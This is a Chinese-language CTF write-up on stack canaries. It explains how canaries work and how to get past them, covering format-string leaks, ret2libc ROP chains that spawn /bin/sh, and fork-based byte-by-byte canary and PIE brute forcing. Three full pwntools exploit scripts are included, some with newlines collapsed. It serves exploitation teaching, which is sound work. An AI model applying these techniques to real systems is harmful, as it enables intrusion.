canary??!!
canary介绍:
- 在函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为“Canary”
- 如果使用IDA反汇编的话,您可能会看到IDA会将这个随机数标注为“Security Cookie”,在部分书籍的叙述中会用Security Cookie来引用这种随机数
- Canary位于EBP之前,系统还将在内存区域中存放一个Canary的副本
- 当栈中发生溢出时,Canary将被首先淹没,之后才是EBP和返回地址
- 在函数返回之前,系统将执行一个额外的安全验证操作,被称作“Security check”在Security check过程中,系统将比较栈帧中原先存放的Canary和在内存中的副本,如果两者不符合,说明栈帧中的Canary已被破坏,即栈中发生了溢出
- 当检测到栈中发生了溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行
Canary绕过方式
一般canary有两种利用方式 1.爆破canary 2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
绕过案例1——printf泄露并在覆盖canary
[bjdctf_2020_babyrop2](BUUCTF在线评测 (buuoj.cn))
printf泄露并在覆盖canary
检查程序
两次输入点,放入IDA看一下。
- gift函数
- vlun函数
- gitf函数很明显有格式话字串溢出,可以利用去泄露canary。
- 将泄露的canary去覆写在buf上,从而达到目的
那么现在,我们只需要一个system(/bin/sh)就可以达到目的了。
当我检查字符串时,并没有/bin/sh和system函数plt表项,所以需要我泄露libc,去构建system(/bin/sh)
好,我们所有的大致思路有了,接下来,就是细节上功夫了。
泄露canary
我们需要通过gdb调试(需要gdb与pwndbg联合调试,如果gdb没有fmtarg命令的或,需要通过下面连接去调整。
gdb+pwndbg联合调试
所以构造的第一份payload1为
%7$p #但是我试过一个%11$p也可以泄露canary,需要大佬知道一下
接下来就是,泄露libc基址和构造ROP链
泄露puts函数地址
payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
执行system(/bin/sh)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload2 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
所以exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os = 'linux',arch = 'amd64')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('bjd')
# p = remote('node4.buuoj.cn',26896)
# p.recv()
# gdb.attach(p)p.recvuntil(b"I'll give u some gift to help u!\n")
gdb.attach(p)
pause()
# p.sendline(b'aaaaa')
p.sendline(b'%11$p')
# p.recvuntil(b'0x')
canary = int(p.recv(18)[2:],16)
print(hex(canary))elf = ELF('bjd')
pop_rdi_ret =0x0000000000400993
pop_rsi_r15 =0x0000000000400991
ret =0x00000000004005f9
# main_addr = 0x04008DA
vuln_addr = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')payload2 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
p.interactive()
ISCC——三个愿望
checksec
开启了canary保护
直接ida
main
begingame
secondwish
thirdwish
backdoor
分析下哈,当程序进入到begingame里,会有一个随机数判断,所以第一步我们需要去覆盖这个随机数。绕过if判断,进入secondwish,在这里面很明显会有一个canary保护,同时也有一个格式化字符串漏洞,利用格式化字符串去泄露canary,然后利用泄露的canary去覆写 thirdwish的s的canary。并且程序中有后门函数,将返回地址改到后门即可
去找一下canary的距离格式化字符串的偏移
%11$s
所以就直接放exp出来了:
from pwn import *
from ctypes import *
context.log_level = 'debug'
debug = 1
if(debug):p = process('./wi')
else:p = remote('',)libc = cdll.LoadLibrary('libc.so.6')p.recvuntil('make your first wish\n')
p.sendline(b'a'*14)
# payload = b'a'*2+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)data = libc.rand(libc.srand(0))
num = str(data % 9+1)
p.recvuntil('give me a number!\n')
p.sendline(num)
gdb.attach(p)
pause()
# payload1 = b'aaaaa'
payload1 = b'%11$p'
p.sendline(payload1)
p.recvuntil('your second wish!\n')
# p.recvuntil('0x')
canary = int(p.recv(18)[2:],16)
print(canary)
p.recvuntil("Please give me a number!")
p.sendline(str(2))
p.recvuntil("ow you can make your final wish!")
p.sendline(b'a'*0x28+p64(canary)+b'a'*8+p64(0x4011f5))
p.interactive()
绕过案列2——逐字节爆破canary(有pie
[[CISCN 2023 初赛]funcanary]([CISCN 2023 初赛]funcanary | NSSCTF (ctfer.vip))
这题既然有pie的话,那就先介绍一下pie吧。
Linux 下的PIE与ASLR
由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。
而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。
ASLR则主要负责其他内存的地址随机化。
PIE如何作用于ELF可执行文件
ELF程序运行的时候是cpu在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。
ELF file format:
+---------------+
| File header | # 文件头保存每个段类型和长度
+---------------+
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段
+---------------+
| .bss section | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
| ... |
+---------------+
| xxx section |# 还有字符串段、符号表段行号表段等
+---------------+
checksec
保护开的很全面哈
看下ida
main
canary
backdoor
这是一个子线程覆盖canary,首先fork
一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止,这就跟便于我们对canary的爆破,通过下面的汇编会更清晰的了解子线程和父线程的关系。
总之,通过fork,我们可以逐字节爆破canary。
from pwn import *
elf = ELF('./ser')
p = process('./ser')
#p=remote('',)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):# 32位程序爆3.for i in range(256):p.send(b'a'*0x68 + canary + p8(i))a = p.recvuntil("welcome\n")if b"fun" in a:canary += p8(i)print(b"canary: " + canary)break
接下来爆Pie。
for i in range(16):payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适?#list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]p.send(payload)a = p.recv()if b'flag' in a:print(a)break
p.interactive()
# 来源Hyrink师傅